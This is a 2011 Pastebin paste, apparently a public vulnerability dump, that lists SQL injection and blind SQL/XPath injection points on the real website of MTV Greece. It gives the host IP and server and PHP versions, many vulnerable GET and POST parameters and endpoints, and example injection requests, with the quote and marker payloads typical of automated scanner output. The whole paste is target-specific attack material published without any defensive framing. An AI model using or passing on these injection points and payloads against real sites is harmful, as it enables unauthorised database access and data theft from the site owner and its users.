API tools faq
paste
sepo

SQLi vulns for www.mtvgreece.gr by SEPO

sepo
Oct 15th, 2011
410
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.79 KB | None | 0 0
raw download clone embed print report
  1. Target: http://www.mtvgreece.gr - MTV Greece
  2.  
  3. Host IP: 77.235.61.1
  4. Web Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.2.14
  5. Powered-by: PHP/5.2.14
  6.  
  7. SQLi:
  8. POST /article.php?id='&action=do_contest&category_id=0
  9. POST /article.php?id=3661&action=do_contest&category_id='
  10. GET /category/diagonismoi?newsletter_name='&newsletter_email=e-mail&submit=%C1%F0%EF%F3%F4%EF%EB%DE
  11. GET /category/diagonismoi?newsletter_name=name&newsletter_email='&submit=%C1%F0%EF%F3%F4%EF%EB%DE
  12. GET /category/diagonismoi?newsletter_name=name&newsletter_email=e-mail&submit='
  13. GET /charts.php?category='
  14. GET /charts_vote.php?category='
  15. POST /charts_vote.php?category=90&action='
  16. You can post something like:vote%5B8032%5D=on&vote%5B5532%5D=on&vote%5B7968%5D=on&vote%5B9881%5D=on&vote%5B3411%5D=on&vote%5B5530%5D=on&vote%5B3379%5D=on&vote%5B3380%5D=on&vote%5B7994%5D=on&vote%5B7957%5D=on&vote%5B8024%5D=on&vote%5B11502%5D=on&vote%5B3395%5D=on&vote%5B7963%5D=on&vote%5B8034%5D=on&vote%5B3398%5D=on&vote%5B3386%5D=on&vote%5B7983%5D=on&vote%5B8015%5D=on&vote%5B3404%5D=on&vote%5B7960%5D=on&vote%5B7964%5D=on&vote%5B8016%5D=on&vote%5B3383%5D=on&vote%5B7976%5D=on&vote%5B7992%5D=on&vote%5B8003%5D=on&vote%5B8028%5D=on&vote%5B3392%5D=on&vote%5B7991%5D=on&vote%5B3385%5D=on&vote%5B3410%5D=on&vote%5B7967%5D=on&vote%5B8004%5D=on&vote%5B8023%5D=on&vote%5B8031%5D=on&vote%5B7965%5D=on&vote%5B7980%5D=on&vote%5B7998%5D=on&vote%5B8163%5D=on
  17.  
  18. Blind SQL/XPath injection:
  19. /article.php
  20. /artists/
  21. /artists/a
  22. /artists/b
  23. /artists/c
  24. /artists/d
  25. /artists/g
  26. /artists/h
  27. /artists/i
  28. /artists/j
  29. /artists/k
  30. /artists/l
  31. /artists/m
  32. /artists/n
  33. /artists/o
  34. /artists/p
  35. /artists/q
  36. /artists/r
  37. /artists/s
  38. /artists/t
  39. /artists/u
  40. /artists/w
  41. /artists/x
  42. /artists/y
  43. /artists/z
  44. /category/games
  45. /category/mtv-ekpompes/
  46. /category/mtv-specials/
  47. /category/nea
  48. /category/nea-showbiz/
  49. /category/photo-picks/
  50. /category/videos-kai-trailers/
  51. /charts.php
  52. /photo-galleries
  53. /search.php
  54.  
  55. ex.:
  56. POST /article.php?id=3661&action=do_contest&category_id=0%2B31337%
  57. GET /artists/?op=search'+%7C%7C+'ACUtwoACU&search=%2E%2E%2E
  58. GET /category/games?newsletter_name=name&newsletter_email=e-mail&submit=%C1%F0%EF%F3%F4%EF%EB%DE%2B31337%2B31337
  59. GET /category/videos-kai-trailers/?newsletter_name=name&newsletter_email=e-mail%2B31337%2B31337&submit=%C1%F0%EF%F3%F4%EF%EB%DE
  60. GET /charts.php?category=15%2B31337%2B31337
  61. GET /[email protected]&pagenum=2'%2B'ACUtwoACU
  62. GET /search.php?do=search'+%7C%7C+'ACUtwoACU&search=Search%20MTV&[email protected]&search_type=Videos&search_btn=%C1%ED%E1%E6%DE%F4%E7%F3%E7%20%F4%FE%F1%E1
  63. POST /search.php
  64. You can post something like this: search=Search%20MTV&post=%C1%ED%E1%E6%DE%F4%E7%F3%E7%2B31337%2B31337
  65.  
  66.  
  67.  
  68.  
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!